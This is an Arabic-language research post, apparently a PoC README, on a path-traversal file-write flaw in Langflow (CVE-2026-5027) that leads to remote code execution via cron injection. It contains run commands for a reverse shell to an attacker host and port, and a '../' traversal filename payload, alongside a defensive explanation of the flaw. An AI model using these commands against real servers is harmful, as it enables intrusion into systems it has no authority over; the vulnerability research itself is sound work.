
Langflow، تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر حقن مهام Cron من خلال اجتياز المسار
هذا المنشور مقال بحثي نشر بواسطة EQSTLab.
شكرًا لـ Yahia Hamza، الذي أبلغ عن هذه الثغرة وحللها.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : ثغرة الكتابة التعسفية للملفات في Langflow
الوصف: ثغرة اجتياز المسار في Langflow <= 1.8.4 تسمح للمهاجمين بكتابة ملفات تعسفية خارج دليل الرفع المقصود عبر filename متعدد الأجزاء (multipart) مُصمم بعناية يُرسل إلى نقطة النهاية /api/v2/files. في النشرات التي يكون فيها تسجيل الدخول التلقائي مفعّلًا أو يكون المصادقة ضعيفة التطبيق بخلاف ذلك، قد تُستغل هذه المشكلة لتحقيق تنفيذ عن بُعد للتعليمات البرمجية (RCE) عن طريق كتابة محتوى يتحكم به المهاجم إلى مواقع حساسة في نظام الملفات.
قم ببناء وتشغيل البيئة القابلة للاستغلال باستخدام Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# إثبات المفهوم (يكتب ملف اختبار إلى /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# قشرة عكسية عبر مهام cron
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
نقطة النهاية القابلة للاستغلال
POST /api/v2/files
تكمن المشكلة في أن وظيفة الرفع تثق في قيمة filename متعددة الأجزاء المقدمة من العميل. بدلاً من توليد اسم تخزين آمن من جانب الخادم أو تقييد المسار الذي تم حله داخل دليل رفع مخصص، يسمح مسار الكود القابل للاستغلال بتسلسلات اجتياز مثل ../ بالتأثير في مسار الوجهة النهائي.
ونتيجة لذلك، يمكن للمهاجم الهروب من جذر التخزين المقصود وإجبار التطبيق على كتابة ملفات في مواقع تعسفية على نظام ملفات الخادم.
مجرى استغلال تمثيلي يكون كما يلي:
/api/v2/files.filename مُصمم يحتوي على تسلسلات اجتياز المسار.هذه في الأساس مشكلة CWE-22: القصور في تقييد اسم المسار إلى دليل مقيد.
يحدث الخلل الأمني بسبب عدم كفاية التعقيم والتحقق من مسارات الملفات التي يتحكم بها المستخدم أثناء معالجة الرفع. يقبل التطبيق اسم ملف العميل الأصلي ويمرره إلى سير عمل التخزين دون فرض مناسب لتطبيع المسار واحتوائه.
من وجهة نظر دفاعية، النمط الخطير مشابه من حيث المفهوم لما يلي:
save_path = base_dir / file.filename
إذا كان file.filename يحتوي على مكونات اجتياز مسار مثل:
../../../../tmp/poc.txt
فقد يشير المسار النهائي الذي تم حله إلى خارج base_dir، مما يتيح الكتابة التعسفية للملفات.
ثغرات الكتابة التعسفية للملفات غالبًا ما تكون أكثر خطورة من مشكلات الرفع غير المقيد القياسية، لأن المهاجم يتحكم ليس فقط في محتويات الملف، بل أيضًا في مسار الوجهة. اعتمادًا على امتيازات وقت التشغيل لعملية Langflow، قد يتيح ذلك:
+-------------------------------------------+
| المهاجم |
+-------------------------------------------+
|
| الحصول على رمز وصول
| أو إساءة استخدام تسجيل الدخول التلقائي
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| اسم ملف متعدد الأجزاء مُصمم
| (اجتياز الدليل ../)
v
+-------------------------------------------+
| كتابة ملفات تعسفية (خارج دليل الرفع)
+-------------------------------------------+
|
| الكتابة إلى موقع حساس
v
+-------------------------------------------+
| تنفيذ عن بُعد محتمل للتعليمات البرمجية |
+-------------------------------------------+
هذا المستودع ليس مخصصًا لتسهيل الاستغلال غير المصرح به لمثيلات Langflow. الغرض من هذا المشروع هو مساعدة باحثي الأمن والمدافعين والمطورين على فهم الثغرة، والتحقق من التعرض في بيئات خاضعة للسيطرة، وتطبيق إجراءات التخفيف الفعالة.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027